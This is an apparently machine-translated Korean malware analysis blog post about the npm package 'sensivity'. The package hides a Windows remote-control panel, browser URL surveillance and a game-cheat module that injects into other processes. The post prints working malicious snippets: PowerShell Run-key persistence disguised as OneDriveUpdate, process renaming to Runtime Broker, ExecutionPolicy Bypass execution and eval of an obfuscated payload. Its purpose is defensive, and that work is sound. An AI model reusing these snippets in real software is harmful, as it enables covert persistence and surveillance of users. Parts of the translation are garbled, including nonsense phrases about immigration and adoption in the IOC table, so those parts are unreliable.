PairLoop: npm 패키지에 숨겨진 원격 제어 패널

PairLoop: 하나의 npm 패키지, 70가지 버전, 그리고 숨겨진 Windows 원격 제어 패널

TL; DR

npm 패키지 민감도 이 프로그램은 스스로를 "민감도 제어판"이라고 설명합니다. 윈도우에서는 원격 제어 및 감시 도구처럼 작동합니다.

진입점은 다음과 같습니다. launcher.js자체 프로세스의 이름을 Runtime Broker로 변경하고, 자동 시작 Run 키 값을 기록합니다. OneDriveUpdate 숨겨진 VBScript를 통해 패키지를 다시 시작하고 PowerShell을 생성합니다. -ExecutionPolicy Bypass그런 다음 171KB 크기의 난독화된 서버 페이로드와 6.87MB 크기의 네이티브 모듈을 함께 평가합니다. sens.node.

이 프로그램은 TCP 포트 3000에서 전화 페어링 제어판 역할을 하며, Windows UIAutomation을 통해 활성 브라우저의 주소 표시줄 URL을 읽고, 하드코딩된 YouTube 동영상 하나를 감시합니다.

이전에 블랙박스로 표시되었던 두 부분이 이제 해결되었습니다. 난독화된 서버, server.obf.jsobfuscator.io RC4 문자열 배열 체계를 사용합니다. 디코더를 오프라인에서 재구현하면(JavaScript 실행 안 함) 단일 외부 엔드포인트를 복구할 수 있습니다. https://izopi.com/check.php — 서명된 라이선스 응답을 확인하는 데 사용되는 내장 RSA 공개 키와 함께 제공됩니다.

네이티브 모듈, sens.node이 파일은 압축되어 있지 않습니다. 해당 파일의 임포트 테이블과 내장 문자열은 이 파일이 원격 프로세스 주입 및 메모리 읽기/쓰기를 통해 구동되는 에임봇, ESP(월핵), 트리거봇 기능을 제공하는 DirectX 11/Dear ImGui 게임 내 오버레이임을 나타냅니다.

이 코드 내의 문자열은 GTA V/FiveM과 일관되게 차량 엔티티 및 지도 위치를 참조합니다. npm 패키지는 해당 네이티브 모듈을 감싸는 배포 및 영구 저장 래퍼입니다.

결정적인 신호는 기술적인 것이 아니라 운영적인 측면에서 드러납니다. 익명의 한 퍼블리셔가 하나의 패키지에 대해 약 70가지 버전을 배포했다는 점입니다. 2.5.0 통해 2.5.69 며칠에 걸쳐, 각자 같은 발사기를 휴대했습니다.

설치가 필요 없습니다. hooks해당 페이로드는 패키지가 시작될 때만 실행됩니다.

공격 방식: 작동 원리

sensivity 패키지는 10개의 파일로 구성됩니다. package.json 파일은 내용이 간략합니다. repository 필드나 license 필드는 없고, main과 두 개의 bin 별칭(sensivity, sens)이 모두 launcher.js를 가리키며, 시작 스크립트는 node launcher.js입니다. postinstall이나 preinstall은 없습니다. npm install을 실행해도 아무 작업도 수행되지 않습니다. 아래 설명된 동작은 사용자가 bin shim, 시작 스크립트 또는 require를 통해 패키지를 실행할 때 발생합니다.

이 tarball에는 런처, 난독화된 서버, 네이티브 모듈, Visual Basic 스크립트, 그리고 제어판용 public/web 디렉터리가 포함되어 있습니다. launcher.js는 읽기 쉬운 오케스트레이터이며, 런타임에 중요한 로직은 이 오케스트레이터가 로드하는 두 개의 파일, 즉 난독화된 서버와 컴파일된 네이티브 모듈에 있습니다. 이 두 파일은 아래에서 자세히 확인할 수 있습니다.

 프로세스 위장 및 가짜 OneDrive 업데이트 프로그램

실행 초기에 launcher.js는 자체 프로세스 이름을 두 번 설정합니다.

   javascript process.title = 'Runtime Broker'; 

Runtime Broker는 앱 권한을 관리하는 정식 Windows 프로세스(RuntimeBroker.exe)입니다. Node 프로세스의 이름을 Runtime Broker와 동일하게 변경하면 작업 관리자를 잠깐 살펴봐도 아무런 이상한 점이 보이지 않습니다.

영구 저장은 레지스트리 API를 직접 사용하는 대신 PowerShell을 통해 구현됩니다.

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

자동 시작 값의 이름은 OneDriveUpdate이며, 패키지를 직접 가리키지 않습니다. 대신 번들로 제공되는 OneDrive.Standalone.Updater.vbs를 실행하는 wscript.exe를 가리킵니다. 이 스크립트는 숨겨진 창에서 node launcher.js를 다시 실행합니다. 실행 키 이름과 VBScript 파일 이름 모두 Microsoft 브랜드를 차용했기 때문에 자동 시작 항목은 일반적인 OneDrive 작업처럼 보입니다.

실행 정책 우회를 사용한 PowerShell

런처는 PowerShell에 반복적으로 셸을 실행합니다. 스캐너가 심각한 문제로 표시하는 부분은 실행 정책이 비활성화된 상태로 생성된 .ps1 파일의 실행입니다.

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass는 해당 호출에 대한 로컬 스크립트 서명 검사를 제거합니다. 생성된 스크립트는 다음 섹션에서 설명하는 브라우저 감시 및 창 감지 작업을 처리합니다.

난독화된 서버와 네이티브 모듈

설정이 완료되면 launcher.js가 로드되어 실제 페이로드를 실행합니다.

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js는 171KB 크기의 _0x 배열 난독화 파일입니다. 이 난독화 방식은 모든 문자열과 식별자를 무작위로 섞인 배열의 인덱스로 대체한 다음 런타임에 역참조하는 JavaScript 패턴입니다. 이 방식은 obfuscator.io에서 제공하는 RC4 변형으로, 단일 디코더 함수가 배열 항목을 base64로 디코딩한 다음 호출 시마다 지정된 키를 사용하여 RC4로 복호화합니다. 이 디코더를 별도의 스크립트로 재구현하고, 추출된 821개 항목의 문자열 배열에 대해 재구현된 코드만 실행하고 패키지 자체의 JavaScript는 실행하지 않으면 난독화가 깔끔하게 해제됩니다. 드러나는 내용은 미미하지만,cisive: LICENSE_URL 상수에 할당된 외부 URL(https://izopi.com/check.php) 하나, 내장된 RSA PUBLIC_KEY_PEM 파일, 로컬 패널 라우팅 경로(/api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, /trigger/status), 그리고 문자열(child_process, crypto, "[Sensivity] sens.node loaded")이 있습니다. 마지막 문자열은 런처가 "program module loaded"로 재작성하는 정확한 로그 라인입니다. 엔드포인트는 라이선스 확인입니다. 클라이언트는 식별자(난독화된 서버는 Discord ID: %s 문자열 형식으로 지정)를 전송하고, RSA 키는 서버의 서명된 응답을 검증합니다.

sens.node는 6.87MB 크기의 컴파일된 네이티브 애드온이며, 압축되어 있지 않습니다. 섹션 엔트로피는 5.6~6.6이며, PE 가져오기 및 내보내기 테이블이 그대로 유지되어 있어 기능을 직접 읽을 수 있습니다. sens.node는 napi_register_module_v1을 내보냅니다. standard Node N-API 진입점이므로 평가 대상 서버는 일반적인 require 구문으로 이를 로드합니다. 임포트 테이블이 이를 알려줍니다. KERNEL32에서는 OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, Process32First/NextW를 가져오는데, 이는 다른 프로세스를 찾고, 그 안에 메모리를 할당하고, 해당 메모리를 읽거나 쓰는 데 필요한 표준 함수 세트입니다. USER32에서는 GetAsyncKeyState, GetKeyState, mouse_event, SetCursorPos를 가져오고, 화면 오버레이를 위해 d3d11.dll, D3DCOMPILER_43, dwmapi를 링크하며, 네트워크 호출을 위해 전체 WINHTTP 세트를 가져옵니다. 내장된 문자열은 기능 세트를 모호함 없이 명확하게 명명합니다. 예를 들어, 에임봇 활성화, 에임봇 FOV, 박스 ESP, 스켈레톤 ESP, 트리거봇, ESP 빌더, 차량 ESP, Electron 안티치트 감지, 그리고 Dear ImGui 배너(Dear ImGui 1.91.3 WIP) 등이 있습니다. 그레이프시드 메디컬 클리닉과 같은 위치 및 엔티티 문자열과 차량 ESP 관련 용어는 GTA V/FiveM과 일관성을 유지합니다.

이러한 분리는 의도적인 효과를 가져옵니다. 읽기 쉬운 launcher.js 파일에는 스캐너가 쉽게 읽을 수 있는 부분(지속성, 가장, eval 호출 자체)만 포함되어 있고, 난독화는 런타임이 연결하는 외부 호스트 하나를 숨기며, 바이너리 파일에는 게임 오버레이 및 프로세스 주입 로직이 담겨 있습니다. 런처는 감사 가능한 얇은 셸이고, 난독화된 서버는 네트워크 ID를 숨기며, 네이티브 모듈은 페이로드입니다. 바이너리 파일의 임포트와 문자열은 읽기 전용으로 설명하며, 이를 통해 운영자의 목적을 추론하지 않습니다.

 3000번 포트에 있는 전화 페어링 제어판

런처는 TCP 포트 3000에서 로컬 웹 서버를 관리하며 이를 싱글톤으로 취급합니다. 기존 리스너가 있는지 쿼리하고 바인딩하기 전에 해당 리스너를 해제합니다.

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

해당 패널은 http://localhost:3000에서 접속 가능하며, LAN 환경에서 사용할 경우 http://192.168.1.16:3000으로 하드코딩된 대체 URL이 사용됩니다. public/ 디렉터리와 패널의 동작 방식은 QR 코드 페어링 흐름과 일치합니다. 즉, 휴대폰이 QR 코드를 스캔하여 호스트에 원격으로 연결하는 방식입니다. 런처에는 외부 명령 및 제어 도메인이 평문으로 표시되지 않지만, 위에서 설명한 난독화 해제 결과에서 알 수 있듯이 난독화된 서버에는 izopi.com 라이선스 엔드포인트가 존재합니다. 패널 자체는 로컬 LAN 범위에서만 작동하며, 외부로 나가는 호스트는 라이선스 확인 서버뿐입니다.

분리형 슈퍼바이저/워커 모델은 프로세스를 계속 실행 상태로 유지합니다. 런처는 SENSIVITY_SUPERVISOR 및 SENSIVITY_WORKER 환경 플래그를 사용하여 자체적으로 다시 시작하며, 각 자식 프로세스는 숨겨진 상태로 실행되므로 하나의 프로세스를 종료해도 감시 프로세스가 남아 해당 프로세스를 다시 시작합니다.

브라우저 감시와 유튜브 신호

가장 구체적인 동작은 브라우저 모니터링입니다. launcher.js는 실행 중인 브라우저의 주소 표시줄을 읽도록 Windows UIAutomation을 구동하는 PowerShell 스크립트를 생성합니다.

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern은 UI 요소의 텍스트 콘텐츠를 반환합니다. 브라우저의 주소 표시줄 편집 컨트롤에 적용하면 브라우저 확장 프로그램이나 디스크의 프로필 정보, API 후크 없이도 현재 사용자가 보고 있는 URL을 반환합니다. 생성된 스크립트는 $browserNames 목록을 순회하며 현재 실행 중인 브라우저의 URL 또는 창 제목을 추출합니다.

해당 URL은 하드코딩된 단일 대상에 대해 테스트됩니다.

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

이 실행 프로그램은 3초 간격으로 YouTube가 표시된 브라우저 창을 주기적으로 확인하고, 생성된 PowerShell 명령에는 해당 동영상 ID와 일치하는 Get-YouTubeBrowser / Test-TargetYouTubeUrl 쌍이 포함됩니다. 이를 통해 두 가지 효과를 확인할 수 있습니다. 첫째, 사용자의 브라우저 URL이 화면에서 읽혀지고, 둘째, 사용자가 특정 YouTube 동영상과 상호 작용하는 것이 감지됩니다. 본 논문에서는 공격 메커니즘과 대상을 설명하지만, 이를 통해 공격 동기를 추론하지는 않습니다.

주소 표시줄에서 읽은 내용은 스캐너가 sensitive_data_enumeration으로 분류하는 항목으로, 네트워크 기능을 갖춘 런타임에 데이터를 제공하는 Process::env 및 UIAutomation 소스입니다. 단독으로는 무해해 보이지만, UIAutomation 소스에서 난독화된 서버까지 데이터 수명 주기를 추적해야 감시 활동으로 밝혀집니다.

타임라인 및 버전 진화

민감도 관련 작업은 일회성 업로드가 아닙니다. 게시자 계정에는 이 단일 패키지의 게시된 버전이 약 70개 정도 있으며, 검토 기간 동안에도 새로운 버전이 계속해서 도착했습니다. 런처는 2.5.x 버전 라인 전체에 걸쳐 기능이 점진적으로 확장되는 반면, 지속성 및 페이로드 로딩 방식은 고정되어 있습니다.

날짜(UTC) 관찰된 버전 런처 상태
2026-06-02 2.5.8 - 2.5.46 (25) 기본 QR 패널 실행기; 실행 키 지속성; 난독화된 서버 평가.
2026-06-03 2.5.53 - 2.5.61 (6) 동일한 지문; 콘솔 추적 억제.
2026-06-04 2.5.67, 2.5.68 (2) YouTube 참여 목표를 고정합니다. wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) 전반적인 공백 메우기 재출판; 관리자/근로자 감시자.

다운로드한 2.5.0, 2.5.36, 2.5.69 버전의 런처를 살펴보면 네 가지 계층으로 구성되어 있음을 알 수 있습니다. 초기 빌드에는 기본 QR 코드 페어링 런처가 포함되어 있습니다. 2.5.33 버전부터는 UIAutomation 주소 표시줄 수집기가 나타납니다. 2.5.58 버전부터는 관리자 관리 계층이 추가됩니다. 2.5.64 버전부터는 분리된 관리자/작업자 감시 기능이 완성됩니다. 이 모든 버전에서 다음 네 가지는 변함없이 유지됩니다. OneDriveUpdate 실행 키, OneDrive.Standalone.Updater.vbs 드롭퍼, 평가된 server.obf.js, 그리고 sens.node 네이티브 모듈입니다.

2026년 06월 05일 배포는 며칠 전에 확정된 버전보다 낮은 버전 번호(2.5.0~2.5.15)를 다시 게시했다는 점에서 주목할 만합니다. 이로 인해 레지스트리에 2.5.x 줄이 연속적으로 나타나며, 모든 버전이 동일한 런처를 사용하게 됩니다.

타협의 지표

아래의 모든 지표는 패키지 tarball에서 직접 읽어온 것입니다. 읽기 가능한 런처에는 루프백 주소와 하나의 사설 LAN 주소만 포함되어 있으며, 외부 호스트 이름인 izopi.com은 server.obf.js 파일을 오프라인에서 난독화 해제하여 복구했습니다.

타입 지시자 노트
묶음 npm:sensivity (약 70개 버전) 2.5.0-2.5.69) 단일 패키지 게시자; 저장소 없음; 라이선스 없음.
입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 launcher.js 읽기 쉬운 오케스트레이터; 메인 및 빈 타겟.
입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 server.obf.js (약 171KB) obfuscator.io RC4 문자열 배열 페이로드, 다음을 통해 로드됨 eval(fs.readFileSync(...)).
입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 sens.node (약 6.87MB) PE32+ x86-64 노드 N-API 추가 기능; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
입양 부모로서의 귀하의 적합성을 결정하기 위해 미국 이민국에 OneDrive.Standalone.Updater.vbs 숨겨진 재시작 프로그램 (node launcher.js).
네트워크 https://izopi.com/check.php 난독화된 서버에서 라이선스/인증 엔드포인트를 복구했습니다. 내장된 RSA 공개 키를 통해 응답을 검증합니다.
능력 OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread 원격 프로세스 주입 및 메모리 읽기/쓰기 기능.
능력 Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11/ImGui 기반 게임 오버레이로, 에임봇, ESP, 트리거봇 기능을 구현합니다.
레지스트리 HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate 자동 시작 값이 가리키는 위치 wscript.exe 그리고 VBScript 실행기입니다.
방법 process.title = 'Runtime Broker' 정식 Windows Runtime Broker 프로세스인 것처럼 위장합니다.
행동의 powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 생성된 PowerShell 스크립트에 대해 실행 정책 우회가 사용됩니다.
행동의 UIAutomation ValuePattern 브라우저 주소 표시줄 읽기 현재 실행 중인 브라우저 창의 URL을 읽습니다.
행동의 대상 비디오 ID wJWta2lO0Lw3초 유튜브 설문조사 고정된 참여 모니터링 신호.
네트워크 http://localhost:3000폴백 http://192.168.1.16:3000 QR 페어링 제어판은 로컬 및 LAN에 노출됩니다.
환경 SENSIVITY_SUPERVISOR, SENSIVITY_WORKER 분리된 감시 프로세스 조정 플래그.

귀속, 영향 및 옹호자

해당 패키지는 인증되지 않은 Gmail 주소가 등록된 단일 npm 계정으로 게시되었습니다. 이 계정은 레지스트리 평판 점수가 매우 낮고, 이 패키지 하나만 관리 및 게시하며, 소스 저장소 링크도 없습니다. 저희는 해당 이메일 주소의 소유권을 확인하지 못했으며, 이번 공격은 특정 개인이 아닌 게시자 계정과 관련이 있다고 판단합니다. 런처에는 평문으로 처리되는 인프라가 없지만, 외부 호스트는 다음과 같습니다. 난독화된 서버는 izopi.com에 접속하여 라이선스를 확인하고, 네이티브 모듈은 명령어를 역순으로 읽는 방식이 아니라 임포트 테이블과 문자열을 통해 읽어들이는 방식으로 작동하며, 다른 프로세스의 메모리에 삽입되어 메모리를 읽는 게임 오버레이입니다.

이 취약점은 제어판 유틸리티로 인식하여 Sensivity를 설치하고 실행하는 Windows 사용자에게 가장 큰 영향을 미칩니다. 해당 시스템에서 Sensivity 패키지는 OneDrive 작업으로 위장하여 자동 시작 기능을 설정하고, 시스템 프로세스처럼 보이도록 이름을 변경한 후, 사용자가 보고 있는 웹 페이지의 URL을 읽어 로컬 네트워크를 통해 원격 컴퓨터에 연결하는 페어링 패널을 실행합니다. 관리자/작업자 감시 기능 때문에 단일 프로세스 종료로는 Sensivity 패키지가 제거되지 않으며, 실행 키를 눌러 실행하는 항목은 재부팅 후에도 유지됩니다. macOS와 Linux는 이 런처의 대상이 아니며, Sensivity, PowerShell 및 UIAutomation 경로는 Windows 전용입니다.

70번이나 버전이 바뀌는 현상은 주목할 만한 추세입니다. 며칠 만에 하나의 패키지를 수십 번 재배포하고, 이미 삭제된 버전보다 낮은 버전 번호를 다시 등록하는 행위는 삭제된 버전 사이에도 레지스트리에 활성 복사본을 유지시켜 버전 고정 차단 목록을 무력화시킵니다. 예를 들어, sensivity@2.5.61에 대한 차단 목록 항목은 다음 날 다시 게시된 sensivity@2.5.3에 대해서는 아무런 효과가 없습니다.

수비수는 다음과 같은 조치를 취할 수 있습니다.

  • 레지스트리 프록시 및 CI 허용 목록에서 패키지 이름에 대한 민감도를 완전히 차단하십시오. 개별 버전을 고정하는 것은 재게시 주기에 맞지 않으며, 이름이 영구적인 식별자입니다.
  • 사용자별 경로에 있는 .vbs 파일에 대해 wscript.exe를 호출하는 OneDriveUpdate라는 이름의 실행 값을 찾으십시오. 정품 OneDrive 업데이트 프로그램은 이런 방식으로 등록되지 않습니다.
  • process.title이 Runtime Broker인 Node.js 프로세스에 대한 경고입니다. 실제 브로커는 Node 런타임이 아니라 RuntimeBroker.exe입니다.
  • 컴파일된 .node 애드온과 함께 해당 .obf.js 파일을 eval(fs.readFileSync(…))하는 코드를 포함하는 패키지를 npm 설치 시 가져오는 것을 플래그로 지정합니다. 불투명한 네이티브 바이너리가 난독화된 텍스트 페이로드 옆에 로드되는 이러한 조합은 문자열 IOC와는 별개로 구조적인 단서가 됩니다.
  • 관리되는 Windows 엔드포인트에서 예기치 않은 Node 프로세스에 의해 생성된 3000번 포트의 로컬 바인딩 리스너는 모두 의심스러운 것으로 간주해야 합니다.
  • 개발자 또는 최종 사용자 호스트에서 izopi.com으로 향하는 외부 요청을 차단하거나 경고하십시오. 이는 패키지의 유일한 외부 엔드포인트이며, 난독화된 서버에서 /check.php를 통해 접근할 수 있습니다.
  • 번들로 제공되는 .node 애드온을 신뢰하기 전에 임포트 테이블을 확인하세요. OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 조합은 패키지 설명과 관계없이 원격 프로세스 주입 공격입니다. 여기서는 Direct3D 오버레이 및 에임봇/ESP/트리거봇 관련 문자열과 함께 사용됩니다.

정적 분석을 위해 pipeline이러한 확신 형태는 버전 변경에도 불구하고 견고하게 유지됩니다. 즉, 네트워크 설치 프로필이 아닌 프로필, 알려진 시스템 프로세스 이름에 프로세스 제목을 할당하는 방식, PowerShell을 통한 실행 키 쓰기, 디스크에서 읽은 파일에 대한 평가 등을 통해 확신을 얻을 수 있습니다. 이러한 요소들은 도메인, IP 주소 또는 다음 재배포에서 변경될 수 있는 버전 번호에 의존하지 않습니다.

 참고자료

[npm: 민감도] – 여기서 논의된 패키지 버전 라인에 대한 레지스트리 페이지입니다. 삭제될 수 있습니다.

sca-tools-software-composition-analysis-tools
소프트웨어 위험을 우선순위화하고, 해결하고, 보호하십시오.
무료 계정을 만드세요.
신용 카드가 필요하지 않습니다.

소프트웨어 개발 및 제공을 안전하게 보호하세요

Xygeni 제품군과 함께